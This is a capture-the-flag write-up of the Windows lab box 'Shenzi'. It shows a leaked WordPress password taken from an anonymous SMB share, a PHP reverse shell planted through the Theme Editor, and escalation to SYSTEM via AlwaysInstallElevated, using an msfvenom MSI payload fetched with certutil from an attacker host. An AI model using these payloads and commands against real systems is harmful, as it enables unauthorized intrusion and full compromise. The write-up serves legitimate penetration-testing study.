# Shenzi Writeup - Proving Grounds

> Intermediate Windows box where an anonymous SMB share leaks a WordPress password, used through the Theme Editor for a reverse shell, then an AlwaysInstallElevated misconfiguration escalates to SYSTEM via a malicious MSI.

- **URL:** https://hackindex.io/writeups/shenzi
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Windows
- **Tags:** information-disclosure, smb, wordpress, privilege-escalation, alwaysinstallelevated
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Shenzi leaks a WordPress admin password through an anonymously readable SMB share, which unlocks the Theme Editor for an authenticated PHP reverse shell. The resulting foothold sits in a position where the Windows Installer policy allows any user to install MSI packages with elevated rights, and a malicious MSI run through `msiexec` escalates straight to SYSTEM.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
nmap -sC -sV $TARGET_IP
# PORT     STATE SERVICE VERSION
# 21/tcp   open  ftp     FileZilla ftpd 0.9.41 beta
# 80/tcp   open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
# 135/tcp  open  msrpc   Microsoft Windows RPC
# 139/tcp  open  netbios-ssn
# 443/tcp  open  ssl/http Apache httpd 2.4.43
# 445/tcp  open  microsoft-ds
# 3306/tcp open  mysql   MariaDB
```

FTP, a Windows SMB stack, and an XAMPP web server. Check SMB for anonymous access first.

### SMB share enumeration

```bash
netexec smb $TARGET_IP -u '' -p ''
smbclient -N -L \\\\$TARGET_IP\\
# STATUS_ACCESS_DENIED (netexec null auth)
#
# Sharename       Type      Comment
# ---------       ----      -------
# Shenzi          Disk
```

`netexec` rejects the null session, but `smbclient -N` still lists shares anonymously; worth trying both tools before ruling SMB out. The `Shenzi` share is readable.

```bash
smbclient -N \\\\$TARGET_IP\\Shenzi -c mget *
# Getting file passwords.txt
# Getting file readme_en.txt
# Getting file xampp-control.ini
```

`passwords.txt` holds a WordPress credential pair: `admin:$WP_ADMIN_PASSWORD`.

### Web enumeration

Port 80 serves the default XAMPP page, with a WordPress install at `/shenzi/`.

## Exploitation

### WordPress Theme Editor RCE

Log in to `/shenzi/wp-login.php` with the leaked credentials, then open **Appearance → Theme Editor → 404.php** on the active Twenty Twenty theme. Replace its contents with a PHP reverse shell and save.

```php
<?php
set_time_limit(0);
$sock = fsockopen("$ATTACKER_IP", $ATTACKER_PORT);
$proc = proc_open("powershell", array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
```

With the theme file saved, start a listener and request the modified page to trigger it.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```bash
curl http://$TARGET_IP/shenzi/wp-content/themes/twentytwenty/404.php
```

The listener catches a shell as `shenzi`.

## Privilege Escalation

### AlwaysInstallElevated

Check the Windows Installer policy in both hives.

```powershell
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# AlwaysInstallElevated    REG_DWORD    0x1
# AlwaysInstallElevated    REG_DWORD    0x1
```

Both `HKLM` and `HKCU` are set to `0x1`, so any MSI installed through `msiexec` runs as SYSTEM regardless of who starts it. Build a malicious MSI and serve it.

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o shell.msi
python3 -m http.server 8080
# Saved as: shell.msi
# Serving HTTP on 0.0.0.0 port 8080 ...
```

From the `shenzi` shell, download it to a known-writable path (`C:\temp` may not exist) and install it quietly.

```powershell
certutil -urlcache -split -f http://$ATTACKER_IP:8080/shell.msi C:\users\shenzi\desktop\shell.msi
msiexec /quiet /qn /i C:\users\shenzi\desktop\shell.msi
```

A second listener catches the SYSTEM callback from the installer.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
#
# C:\Windows\system32>whoami
# nt authority\system
```

`AlwaysInstallElevated` hands over a shell as `nt authority\system`, no exploit code required beyond the policy misconfiguration itself.

Related

## References

- [AlwaysInstallElevated (Windows Installer)](https://learn.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated) - Official Microsoft documentation for the policy abused to install the SYSTEM-level MSI.